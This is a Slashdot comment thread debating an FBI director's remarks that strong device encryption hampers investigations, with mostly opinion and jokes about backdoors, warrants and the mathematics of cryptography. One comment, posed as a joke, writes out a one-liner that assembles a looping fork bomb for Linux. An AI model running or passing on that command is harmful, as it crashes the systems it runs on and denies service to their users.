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FBI Chief Calls Unbreakable Encryption 'Urgent Public Safety Issue' (reuters.com)
The inability of law enforcement authorities to access data from electronic devices due to powerful encryption is an "urgent public safety issue," FBI Director Christopher Wray said on Tuesday in remarks that sought to renew a contentious debate over privacy and security. From a report: The FBI was unable to access data from nearly 7,800 devices in the fiscal year that ended Sept. 30 with technical tools despite possessing proper legal authority to pry them open, a growing figure that impacts every area of the agency's work, Wray said during a speech at a cyber security conference in New York. "This is an urgent public safety issue," Wray added, while saying that a solution is "not so clear cut."
Think of the children! No, not the children assembling iPhones in sweatshops: the children the FBI are looking to protect. Think of them.
"I want free access to the cookie jar, waaaaaah!"
Table-ized A.I.
Heaven forbid people actually be secure in their persons, papers, and effects!
Stupid sexy Flanders.
I will grant Christopher Wray benefit of the doubt and interpret his words charitably - he must have meant it is public safety issue that more people don't use strong cryptography, potentially exposing sensitive data to FBI and other crooks.
I don't see it all that short term thinking. This is definitely part of a larger picture, a longer termed plan.
Get this wedge in now, this idea that some authority should have all the keys to the encryption kingdom, and it should be easier to keep it there when the next privacy scheme comes along. Otherwise it's a doubly hard fight the next time. You have to convince more people that the authorities are correct to want it. Do it now, when it is of less concern.
Either encryption works for everyone, or it works for no one.
In the end, calling unbreakable encryption an "urgent public safety issue" is pointless.
Why are cars lacking security features against terrorists?
Why are guns lacking security features against terrorists?
Why is cash lacking security features against terrorists?
The FBI/CIA/NSA does not only want to access the devices thieves/killers/terrorists, they want to spy on EVERYONE.
#DeleteFacebook
Big brother doesn't need the ability to paw through all my records without just cause.
Can you give a figure of the impact (in lost human lives or property) of not resolving this issue?
Thanks.
An urgent public safety issue? Talk about first world problems. Even if one person gets through and kills 50 people, Its a sad day, but certainly not the end of the world.
--
We had every right to shoot him. - G. Gordon Liddy
You have the legal authority to pry them open. Get prying. Having the authority to try to open something doesn't give you the entitlement to open it. Unfortunately, it seems the top dog at the FBI does not understand this concept. It's also entirely the fault of the FBI and other government agencies with police powers that this encryption situation has gone in this direction. They made this bed and they must lie in it. No law can change the fundamental properties of mathematical operations, and good luck outlawing consumer encryption since every CPU being made nowadays (even Celerons and Atoms) has hardware AES and such strong encryption is ubiquitous. Combined with the epic failure and subsequent revelations of major flaws in the government's key escrow Clipper Chip, there is no way the FBI is killing off the spread of encryption.
It is an 'Urgent Public Safety Issue', but not in the way they are suggesting...
... is our fucking brains.
"Our inability to get inside people's heads is an "urgent public safety issue."
It little behooves the best of us to comment on the rest of us.
Apparently doesn't know what the first, fourth and fourteenth amendments are or that they are supposed to protect us from him.
send mulder and scully to the apple spaceship!
The fact the director of the FBI can be this stupid.
I remember back in the 90's or early 2000's someone said the CIA was intercepting ALL email in the USA, and running it through a program that would look for key words or some such garbage. I went into my signature file, using a WHITE FONT and put in my sig file about 20-30 words that should have triggered something, just to hopefully screw with their program. Probably didn't work, but it made me feel better. Hey, I'm as law and order as the next guy, but MY PRIVACY IS MINE. You THINK I'm doing something illegal? Get the probable cause and get a warrant!
NOW you are thinking of the children!
So math is a public safety issue?
5 out of 6 people enjoy Russian Roulette & 6 out of 7 Dwarfs are not Happy
I will use any encryption that you want me to use.
As long as you can prove to me that you use the same encryption for everything at the FBI.
If you are not willing to do that. GO FUCK YOURSELF
Death has been proven to be 99% fatal in lab rats.
What those people are overlooking is that if encryption is weak enough (or subverted) that NSA can crack it, it is weak enough for other government agencies and criminals to do likewise.
They may still believe that good ol' American know-how leads the world - but if so, they are just plain wrong. Mathematics is international.
I am sure that there are many other solipsists out there.
To be honest, Law Enforcement and their " kill everyone who doesn't comply with our demands " is an urgent Public Safety Issue.
Encryption, on the other hand, hasn't killed any innocent people as far as I know so I think their priorities are a bit skewed.
Back on topic:
Encryption, when properly inplemented, does exactly what it's supposed to do. It keeps unauthorized eyes off of private data. Just because you wear a badge doesn't give you the right to spy on everyone.
If our government could be trusted, we wouldn't need such things. However, they've shown us time and time again why they can't be trusted, thus we end up where we are today.
Once you mandate backdoors, the folks that LE is interested in will simply cease utilizing the product and you're right back to square one. ( With the bonus you get to spy on everyone else now, which is likely the true goal anyway. )
Quit being so fucking lazy and actually DO some real police work for a change lest you be known as the Federal Bureau of Incompetence.
What puzzles me is, with all of the resources that the US federal government has at their disposal, why aren't they actually trying to crack encrypted phones?
As I understand it, the older iPhones could likely be cracked by desoldering a chio and interrogating it. The newer ones have their entire security apparatus encased in a single chip but I don't see why the chip couldn't be removed, disassembled, and its partial private key extracted. It's probably not something that could be done by hand and would probably involve contracting with a chip-fabricating outfit. The outlay costs would be enormous but once a "Federal Bureau of Device Recovery" was established and operational, they could make back money by cracking phones for state and local law enforcement.
It's just so strange because it seems likely that eventually other countries will have this capability, if they don't already. My guess is that if the FBI hasn't figured out how to crack encrypted iPhones themselves in the next 5 years, they'll be a company in Israel that will be happy to do it for them.
The director paged through the packet logs from the FBI director's machine and smiled to himself.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
some bama guy lost an election because he was thinking TOO MUCH about the children....
--
"It is now safe to switch off your computer."
If they've got a wiretap warrant, then they can put a trojan on the suspects phone _before_ the arrest to gather evidence.
Just send a 'copy all data to FBI server' command when you're ready to make the arrest so that even if the phone is locked/destroyed they've got the data.
The justice system in the US is for the most part adversarial. The prosecutors and police are on one side and the alleged criminals and their lawyers on the other. I think this works well in some cases. In other cases I think it doesn't work at all. In France and other places, there are no sides and what matters to the courts is that the truth gets out.
There are many cases where I think the French way is a better solution, such as organized crimes. Mafiosos, gangs, paedophile rings, etc should not be afforded the same protections that an individual currently gets in the US justice system. It is simply too easy for groups to thwart justice in the US system.
The inability of law enforcement authorities to gain convictions due to legal rights is an “urgent public safety issue,” FBI Director Christopher Wray said on Tuesday in remarks that sought to renew a contentious debate over privacy and security.
The FBI was unable to force convictions of nearly data from nearly 7% of the accused in the fiscal year that ended Sept. 30, despite possessing proper legal authority to lie, trick, and deceive, a figure that impacts every area of the agency's work, Wray said during a speech at a cyber security conference in New York.
“This is an urgent public safety issue,” Wray added, while saying that a solution is “not so clear cut.”
Enjoy life! This is not a dress rehearsal.
They want to catch crooks. Meanwhile, billions in dictatorships are kept down with the assistance of breaking crypto.
Are we to sacrifice them so a prosecutor can get a notch or two on his belt once in a great while?
And what are those hundreds of millions of children living with a boot on their face...forever...worth?
Torture and murder some, you are a nasty criminal. Torture and murder hundreds of thousands, and people in free countries say you are practicing self-rule.
(-1: Post disagrees with my already-settled worldview) is not a valid mod option.
You're telling me that the only evidence that crimes are committed is always hidden by encryption? If this is the case, then when did this begin? I find it very hard to believe that a murderer can successfully encrypt his victim's corpse. And the weapon. And the fingerprints. And the fibers. And the motive.
What happens when criminals start using one-time-pads? Are we going to outlaw pen and paper at that point?
FBI, get better at your job.
7800 terrorists went free? 7800 deals for pot were consummated? Or 7800 sets of hot nude pics were not drooled over by FBI agents?
Have gnu, will travel.
Nobody said your job was going to be easy.
No one has granted you carte blanche to access our data, our lives, our thoughts.
The big problem here is the effort to prevent a crime vs solving a crime.
The government, the police, the feds, etc. want access to prevent a crime, but that in itself is quite fluid because, as Trump is demonstrating, it can be a "crime" just to say he is a foolish, petulant child. So they want access to everything to "prevent" this kind of thing.
While I might support cracking something open for additional evidence to solve a crime, where at least one or more judges agree that a crime has been committed and where the courts can be used to argue whether or not to force the opening, I would never consent to allowing any so-called authority a pass key to dig around in my stuff in a preventative fishing expedition.
I was going to say that if encryption had a backdoor between 0 and 0 children would have been saved, but then I thought about all the IoT devices that have been hacked recently. The truth is, with backdoor we would be putting thousands, tens of thousands, possibly even hundreds of thousands of children at risk.
Just ask Cisco how the government mandatedo backdoors worked for them and how much it cost them?
Microsoft, Apple, Google, Amazon what's the difference? All steal money from devs and control with walled gardens.
... that crime has increased exponentially in sync with the exponential rise in smart device sales.
Just kidding and stuff.
Today, the FBI released its annual compilation of crimes reported to its Uniform Crime Reporting (UCR) Program by law enforcement agencies from around the nation. Crime in the United States, 2015 reveals a 3.9 percent increase in the estimated number of violent crimes and a 2.6 percent decrease in the estimated number of property crimes last year when compared to 2014 data.
According to the report, there were an estimated 1,197,704 violent crimes committed around the nation. While that was an increase from 2014 figures, the 2015 violent crime total was 0.7 percent lower than the 2011 level and 16.5 percent below the 2006 level.
It little behooves the best of us to comment on the rest of us.
Much as I don't like this idea myself, it is not new.
The Fourth Amendment explicitly allows the Executive Branch — after securiing Judicial Branch's approval — to access all of our possessions and "effects". They have a right to do that, which no one seems to seriously dispute.
The strong encryption has given us the means to lock things up so that even the government can't get them — this part is new. Although they still have the right to read your data, they no longer have the ability to do it.
While this is something we individually celebrate, you can not denounce police complaints about this situation without also denouncing their well-established — and generally accepted — power to search all your other stuff.
In Soviet Washington the swamp drains you.
When AES-256 is a crime only criminals will have AES-256. Make using it a crime and it won't matter that you can't crack it since you can just lock anyone using it up. Problem solved.
Hi! I make Firefox Plug-ins. Check 'em out @ https://addons.mozilla.org/en-US/firefox/addon/youtube-mp3-podcaster/
FBI Chief Calls Unbreakable Encryption . . . "a valuable tool to protect the rights of law-abiding citizens" is how it should read.
"I believe in Karma. That means I can do bad things to people all day long and I assume they deserve it." : Dogbert
lack of unbreakable encryption is an urgent public safety issue.
Proud neuron in the Slashdot hivemind since 2002.
The only problem is the top terrorists country in the world has a large army and lots of nukes. It also doesn't have the most sane president right now. The country is responsible for, or provides funding for an estimated 90% of all terrorist attacks each year.
Microsoft, Apple, Google, Amazon what's the difference? All steal money from devs and control with walled gardens.
What rock is so comfortable that you were able to hide underneath it for so long as to entirely miss the FBI vs. Apple drama about this?
Not only did FBI had the necessary warrant(s), a judge explicitly ordered Apple to assist the Bureau.
And yet, Apple fought it tooth and nail — with popular support...
In Soviet Washington the swamp drains you.
We are always going to have enemies. No matter what other efforts you try. We cannot appease them. Fighting them might be difficult. But it's still worth doing. But that doesn't mean we should compromise our own security and freedom because we are too afraid. Oh, wait. TSA at airports. Even the worst attack, 9/11 only killed a few thousand people. It's horrible. But it is not an existential threat to the US.
I'll see your senator, and I'll raise you two judges.
Breakable encryption is virtually no better than no encryption at all. There's no reason to fool yourself into thinking that your data is safe. This reminds me of the TSA lock, where there are only 5 or so keys, all of which can be purchased by the general public online. Government wants control, and will use any reason they think will justify it.
The fact they can't break the encryption is proof that's effective and a good idea. If I want people to see my traffic and data, I'll let them see it, other wise, forget it.
There is nothing in his statement that is technically incorrect.
"The inability of law enforcement authorities to access data from electronic devices due to powerful encryption is an “urgent public safety issue,”" This is very much true. Metadata analysis can only take you so far.
"while saying that a solution is “not so clear cut.”" Hell yeah, there really is no solution
Some people use the [flawed] analogy of a safe. the FBI can either crack a safe, or burn through the door to get at the contents if you refuse to open it under judicial order. While this is still technically possible using strong encryption, the heat-death of the universe will probably come first, thus rendering it moot.
I'm going to simplify his statement: "The inability to access data due to powerful encryption is an urgent public safety issue" the "From electronic devices" muddies the water, and gets people all up-in-arms about "think of the children", or "OMG Terrorists"
Encryption is a wrapper around data. Much like an envelope, or a diplomatic bag (legally immune from search and seizure by international agreement) Can you imagine the uproar if the US suddenly announced that it reserved the right to open every diplomatic pouch sent to or from the US? or to listen in on every conversation between embassies?
I'm sure that the NSA, CIA, FBI, FSB, and every other national security agency world-wide is trying to break modern strong encryption. They'd be stupid not to! but what doesn't seem to be understood is that modern encryption is math. Math works for everybody the same way. If a hole is discovered in an encryption system, anybody that uses that system is then vulnerable to having their data read by a third part (authorized or unauthorized - from the legal, warrant has been issued state) This might be someone emailing pictures to their grandmother, it could be a terrorist cell communicating with a handler, or it could be instructions to one of our nuclear missile submarines. The Math doesn't care!
I'm sure that Mr. Wray would agree if I said that "the inability of the US government to access data from Russian sources due to powerful encryption is an urgent public safety and national security issue" I wonder how much he would agree if I said that "the inability of the Russian government to access data from US sources due to powerful encryption is and urgent safety and national security issue"?
I will not give in to the terrorists. I will not become fearful.
And dial the NSA and the other eight "security" organizations the US controls which put the holes in encryption in the first place.
It's not hard, FBI.
And stop letting them compromise chip design.
-- Tigger warning: This post may contain tiggers! --
While we want privacy and anonymity, we don't want it used for nefarious purposes. Such things tend to serve people generally but also terrorists, pedophiles, drug cartels, etc. I strongly believe we need a system that provides accountable anonymity, such as a Reputational Identity Service.
That is, create an identity that enables others it interacts with to rank its reputations along a rubric. This could be used for determining if the identity is a good citizen on comment boards, doesn't cheat people in business, etc. It could act as a form of credit check... Does the entity have a strong reputation for dependability in paying what it owes? Just like with ordinary credit, an identity would begin with no reputation and slowly build one over time. If the identity has a long history of being a certain way then the risk is low that that will change any time soon. This is true, even if the same person holds two identities--one for good and one for evil. You will know which one is safe to deal with, and how much it is..
Each person's must have a limit as to how much he/she can give to others, to prevent undue reputation inflation or deflation. So each time you score another, you have a percentage of your total to give and that takes away proportionally from those you have already given to. So one's reputation can build but it will also fade over time. One's reputation score is measured by its average over time... This is LIKES++.
On message boards, filter and allow privileges based on reputations. Do business based on reputations. Deny certain information based on reputation. Reputation may always be earned or lost.
FBI Chief Calls Unbreakable Encryption 'Urgent Public Safety Issue'
I agree 100%. For the public's safety, we must all adopt unbreakable encryption immediately.
Forbidding encryption is like forbidding the multiplication of large numbers. In fact, it's largely EXACTLY THE SAME THING. That's what most of government officials who call unbreakable encryption an "Urgent Public Safety Issue" don't get. They're not necessarily evil or corrupt, but they think of encryption as some kind of magic wand, highly advanced technology like guns or nuclear weapons, which you can prevent private citizens from acquiring, when in fact what it really is is -- mathematics.
Hello? Is this story even true?
Apology not accepted.
It little behooves the best of us to comment on the rest of us.
If encryption is breakable with a large amount of effort, then it does several useful things:
* It prevents people without the resources from accessing your mail.
* It may provide short-term security, which may be sufficient.
* It makes those who do have the resources be selective in whose encryption they break.
For example, if it takes a minimum of a week to break the encryption on an encrypted web connection that discusses an embargoed news item that will be published in 6 days, that's good enough.
Another example: If a government wants to crack down on encrypted communications among drug traffickers, but it costs them $10,000,000 for each decryption effort, they will need to pick and choose who they go after.
There are encryption systems that are provably unbreakable without a key, such as a one-time pad. Unfortunately, they are usually not practical to implement correctly.
Knowledge is how to play a game, intelligence is how to win, wisdom is knowing what game to play.
A single use pad remains the gold standard for unbreakable encryption. It's over a thousand years old.
John McAfee 'It was like that time I hired that Bangkok prostitute; to do my taxes, while I fucked my accountant'
The weak-sauce of that attack is hilarious in hindsight, as prominent lefty after prominent lefty is denounced for one variety of sexual assault or another.
Socialism: a lie told by totalitarians and believed by fools.
When the IRS, NSA, and other federal departments have been publicly known to read through the political opposition comms what is going to stop us from becoming the next Venezuela or China?
Ordinary people are not a public safety issue !! Unrestricted government is !!
I guess I just wonder how the FBI made any other case, ever, without the ability to post-facto dig through any and all communication from the accused. It's not like secure communications are some new concept - it literally goes back many hundreds of years.
What did the FBI forget about investigation since the smartphone era began? And why?
Slashdot still doesnâ(TM)t support Unicode after it was added to the HTML standard in 1997.
* the local and state govts are allowed to kill the "papers please" acts - like RealID.
That example doesn't belong in your list. Preventing fraud and setting standards are both legitimate functions of government, if you're not an outright anarchist. We'd all be better off at this point with some national alternative to SS numbers for every company to use as their database key - something with at least some attempt at fraud prevention.
Socialism: a lie told by totalitarians and believed by fools.
At least we can reasonably assume that encryption is doing the job it is meant to.
As always, law enforcement and politicians calling for a backdoor is pure stupidity. No matter how good the intentions, the details will always fall into the wrong hands eventually. Or more likely (as demonstrated conclusively by law enforcement everywhere) they will end up using it in unwarranted ways.
Law enforcement needs to get over it and find other ways to do their job. You can't put the math genie back in the bottle.
- while saying that a solution is "not so clear cut." -
The solution is actually VERY clear cut. Stay out of my data, fullstop. And no I don't care what your piece of paper says.
If I encrypt something it means I consider it an extension of my brain and personality. Nobody is allowed into there, and no rubberstamping judge will ever tell me otherwise...
And YES, I am absolutely ready to face jailtime, but I will NEVER under ANY circumstances allow access to stuff I encrypt, not even if they use the $5 xkcd wrench. Otherwise I wouldn't have encrypted the data in the first place.
Private means PRIVATE, it doesn't mean private until the government decides it doesn't suit them.
government is the entity people need to be able to keep secrets from MOST OF ALL.
You would think a country that fought a revolution to escape tyranny would remember that.
Well played, sir!
Socialism: a lie told by totalitarians and believed by fools.
Freedom means accepting certain risks as a society.
That is all.
On the other hand, if people can't encrypt their data (or that encryption is breakable), then it creates an entirely different set of problems. People can't safeguard their data or protect their systems. It increases the vulnerability of our infrastructure. It increases the chances that criminals and terrorists can gain access to important and private information.
Funny, when I first glanced at the deadline that is the angle that I thought the article was going to take, but then I saw that the quote was attributed to the FBI, and I realized that wasn't going to be the case.
What I really want to know is, what devices were being used in the mentioned 7,800 cases that they couldn't get in? I need to go shopping...
HA! I just wasted some of your bandwidth with a frivolous sig!
a solution is "not so clear cut."
I'll say. There's that little problem of the number of seconds left in the life of the universe.
I would expect that an "urgent public safety" issue would be one that has led to the deaths of some hundreds of people. If not in the last fiscal year, then over a period of a few years. I would further expect that there would be a demonstrable upwards trend in that number.
So where are we? Is there any data on how many people have died as a direct result of the government not being able to gain data that was / is only available on some perp's phone?
Or is this really about the government wishing to have to power to reinforce its dominance and simply brag about how powerful it is?
politicians are like babies' nappies: they should both be changed regularly and for the same reasons
"We need access to all these phones to solve cases because we never, ever solved a case before cellphones existed."
Cleverly disguised as a responsible adult.
Leaving aside completely whether or not law enforcement officials can be trusted to have access to our personal information in the first place, people who spout this kind of rhetoric:
If legislation is introduced that makes it easier for law enforcement to access such data, then they will also make it correspondingly easier for the bad guys to do likewise, and that will result in an *INCREASE* in law enforcement efforts, not a decrease, as law enforcement would then have to work that much harder to protect innocent people from being exploited by those that access people's private information without authorization.... not to mention that such efforts are unlikely to be 100% successful anyways, so more innocent people will get hurt.
The bad guys, meanwhile, who aren't going to be interested in following the law in the first place with regards to only using authorized encryption, are going to continue to get away with stuff because you can't necessarily identify a communications packet that has been encrypted using a known mechanism and one that has not unless you already know what the unencrypted packet actually contains in the first place (and in fact, it is completely trivial to invent a custom encrypted communications protocol that can be mathematically proven to guarantee such results).
File under 'M' for 'Manic ranting'
With symmetric key crypto you would need a much bigger quantum computer than that and even there it only makes AES-256 on a quantum computer as difficult to solve as AES-128 currently is on a classical computer. Or to put it another way, it would still require more energy than is consumed by the US over several years.
Time to offend someone
And by 'public safety' they mean yours. Should you be tempted to hide anything from your government.
Have gnu, will travel.
'Excuse, Mr. Wray, in what way will our computer systems such as e-voting, national databases and intelligence secrets be protected from adversarial countries and hacker groups when the next NSA leak includes the keys to our encryption?"
That's a feature, not a bug. If you want to decrypt someone's data, get a warrant and compel them to turn over the key. No probably cause for a warrant? That too is a feature, not a bug. You don't get to go fishing for evidence to convict people.
Since there is no such thing as unbreakable encryption, I fail to see the problem here. Sure, it might take you a trillion years but all encryption can eventually be broken. Just takes time.
I read at +2. If your post doesn't reach that level I will not see or respond to it.
Clearly the terrorists have won! The basis of encryption is math. Ban math. No more Al-gebra!
Yes, unbreakable encryption is a problem for law enforcement. And yes, they need to do something about it, because yes, criminals are using it.
Of course, unbreakable encryption is extremely valuable for plenty of reasons, it's here to stay but it doesn't mean we should ignore the problem. Police has to do its work, and it means watching people in some way or another, there is a balance with privacy that is not always easy to find. When discussing the police watching you, it is easy to think about cases where you end up arrested because you searched "bomb making" on Google, but that's ignoring the cases where you aren't arrested because the same surveillance has shown that you couldn't be the culprit. And I am not just talking about high profile "think of the children" cases. Finding who stole your car or who scammed grandma also counts.
Sure I know about government abuse, and that some of the criminals are the ones who are supposed to protect us. I also have things to hide are I don't like being watched any more than you do. However, I think extremism will get us nowhere. We have established that strong encryption is a must have, now what are the solutions to the problem of crime fighting? The better the answer, the more seriously we will be taken by those who want to demonize encryption.
it isn't law enforcement, it's political enforcement
Keep encrypting, especially unnecessarily. Obviously our efforts our hitting a nerve. Keep at it, encrypt EVERYTHING!
I'm sure there are a number of countries that could help.
It's the Reptilians. They have a penchant for pederasty.
I didn't get a pedo vibe from Chris Bucholz's interview with Mr. Malok.
What did the FBI forget about investigation since the smartphone era began? And why?
1. An honest day's work.
2. Work is so haRRRRRRRRRd.
We called that "feeding the CARNIVORE"
We have more nukes.
Unbreakable encryption IS an urgent public safety issue. It is urgent that we have it to protect people from being hurt by the FBI.
Tough shit.
~ People that think they are better than anyone else for any reason are the cause of all the strife in the world.
The absolute end of Commerce on the Internet.
If ANY third party can break the encryption then we must assume that, given a few days or weeks, EVERY third party has broken the encryption.
NO commercial transactions will be safe.
Back to the 1970s, guys.
It's a lot harder to forge a real-ID-compliant DL than an SS card, that doesn't even have a picture!
Socialism: a lie told by totalitarians and believed by fools.
Nothing happened to him because he was also spying on everyone in Congress and could have dished the dirt on anyone who advocated doing something to him. Obviously.
Awww poor big daddy can't decrypt a widdle phone. Suck it up sunshine. My data is mine and you ya thieving snooping law breaking federal wankers can just deal with it.
Next up: The FBI takes on the problem of letters inside opaque envelopes.
There's no time like the present. Well, the past used to be.
You've got a fascinating point, but there's no way you can ever have any idea what all possible adversaries' capabilities are. And you'd have to continuously stay up-to-date on it too, since what costs $10M today is $1M tomorrow.
I think there's also an assumption that "legitimate" adversaries have more power than illegitimate ones, i.e. your own government happens to have the most, fastest computers. Go ahead and try to tell that to a citizen of a poor country. As a citizen of a rich country, I think it's probably true (i.e. the US government is able to brute force my stuff easier than, say, the Chinese government) but I don't really know that's true, do I? And if it's right for me, then it's wrong for everyone everywhere else!
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.